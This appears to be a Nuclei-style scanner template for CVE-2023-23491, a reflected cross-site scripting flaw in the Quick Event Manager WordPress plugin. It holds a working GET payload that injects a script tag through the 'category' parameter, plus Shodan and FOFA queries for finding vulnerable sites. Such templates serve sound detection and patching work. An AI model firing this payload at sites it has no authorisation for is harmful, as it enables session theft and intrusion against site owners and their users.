id: CVE-2023-23491

info:
  name: Quick Event Manager < 9.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Quick Event Manager WordPress Plugin, version < 9.7.5, is affected by a reflected cross-site scripting vulnerability in the 'category' parameter of its 'qem_ajax_calendar' action.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the category parameter in the qem_ajax_calendar action to steal WordPress user session cookies and execute attacks.
  remediation: Fixed in version 9.7.5 and above
  reference:
    - https://wpscan.com/vulnerability/49178a9d-0500-4e3e-8ea1-6cd4eeda2a4e
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23491
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-23491
    cwe-id: CWE-79
    epss-score: 0.01179
    epss-percentile: 0.64554
    cpe: cpe:2.3:a:fullworksplugins:quick_event_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fullworksplugins
    product: quick_event_manager
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/quick-event-manager
    fofa-query: body=/wp-content/plugins/quick-event-manager
    publicwww-query: "/wp-content/plugins/quick-event-manager"
  tags: cve2023,cve,wordpress,wp,wp-plugin,wpscan,xss,quick-event-manager,fullworksplugins,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "qem_calendar")'
        condition: and
# digest: 490a0046304402201990b04619765970a42b7c0a6a5969705560f018d14896933ad94ceb55bd05c5022047d6bcffb9e7f9270a862642d672965f2ee1e5f30bfbbcf85824a39f36f38875:922c64590222798bb761d5b6d8e72950